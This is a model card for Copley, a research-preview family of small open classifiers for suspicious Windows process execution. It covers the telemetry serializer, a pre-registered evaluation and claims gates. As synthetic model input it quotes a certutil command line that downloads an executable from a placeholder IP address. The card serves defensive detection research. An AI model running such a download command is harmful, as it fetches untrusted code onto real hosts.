Copley

Small, open cyber decision models. For the attacks nobody wrote a rule for.

Copley models read a bounded window of security telemetry and return one of three decisions: likely_benign, suspicious, or abstain. They are small enough to run locally, and open enough that defenders can inspect, evaluate and retrain them.

Research preview. No weights are published yet. This repository is the home for Copley checkpoints. A checkpoint will appear here only after it clears the pre-registered release evaluation. Until then, this card documents the task, the interface and how models will be judged. No detection result has been established on real telemetry.

Model details


Developed by	Backbay Industries
Task	`process_execution.suspicious.v1`: suspicious Windows process execution
Input	One evidence window: an anchor process-creation event, optionally with related events
Output	`likely_benign`, `suspicious` or `abstain`, with score, threshold and model digest
Candidate backbones	UltraBERT-380M (quality), UltraBERT-150M (compact), ModernBERT-base (control)
Baselines	Pinned Sigma rule subset; character and token TF-IDF linear models
Input length	2,048 tokens
License	Apache-2.0 (code); bundled SigmaHQ rules DRL 1.1
Status	Research preview; release backbone not selected

What the model sees

A deterministic, versioned serializer (copley-serializer/v1) emits an allowlist of process fields in a fixed order. Host names, accounts, raw IDs and absolute timestamps are withheld, because they tend to identify the lab rather than the behavior. Labels and provenance are never model input.

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

_{Model input for the synthetic fixture mal-certutil_download-0. Not observed telemetry.}

Evaluation protocol

Copley is scored on the attacks the rules already miss, at a false-positive cost fixed before training. The protocol file and the claims-readiness checks described below are being prepared for release in the GitHub repository.

Rule-miss recovery = attack executions the pinned rules miss and the model detects ÷ attack executions the pinned rules miss

Pre-registered. False-positive budgets (100, 10 and 1 per million benign windows), counting units and held-out splits are frozen with the data before training. Thresholds are chosen per budget on validation data.
Primary metric. Rule-miss recovery at 10 false positives per million benign windows, on held-out implementation families, with exact bounds.
Counting unit. Attack executions. An execution counts as detected if any of its windows is flagged.
Full accounting. Reports keep denominators, abstentions and errors.
Claims gate. Before any model is scored, the suite checks which claims a frozen split can support at all. Synthetic data can never unlock a detection claim.

Claim	Requires	Status
Detection	≥ 100 held-out attack executions across ≥ 10 implementation families	Blocked
< 100 FP per million	29,956 benign windows with zero false alerts (95% bound)	Blocked
< 10 FP per million	299,572 for the bound; ≥ 1,000,000 held-out benign windows by release target	Blocked
< 1 FP per million	2,995,731 benign windows with zero false alerts	Blocked
Generalization	≥ 1 held-out environment containing both classes	Blocked
Context helps	≥ 50 reviewed benign/malicious context pairs, with a context ablation	Blocked

Intended use

Intended: reproducible research comparing learned detection with a selected Sigma subset on Windows process execution.
Out of scope: authorization decisions, intent attribution, full ATT&CK technique labeling, autonomous response, production telemetry ingestion and full Sigma coverage. A low score is not a safety guarantee.

Limitations

One task so far: suspicious Windows process execution.
Trainer qualification of both UltraBERT sizes (A40, synthetic data) establishes engineering behavior only, not detection quality.
Public corpora examined so far do not supply independent, reviewed data containing both classes; a controlled collection is under way.
Scores are uncalibrated unless a calibration artifact is attached.

Use the code

The evaluation suite runs end to end on synthetic fixtures today:

git clone https://github.com/backbay-labs/copley && cd copley
uv sync --locked --group dev
uv run --locked copley eval smoke --out artifacts/eval-smoke

Contributions are welcome in source-balanced telemetry, reviewed labels and independent evaluation.

Citation

@misc{copley2026,
  title        = {Copley: Small, Open Cyber Decision Models},
  author       = {{Backbay Industries}},
  year         = {2026},
  month        = oct,
  howpublished = {\url{https://github.com/backbay-labs/copley}},
  note         = {Research preview}
}

Downloads last month: -; Downloads are not tracked for this model. How to track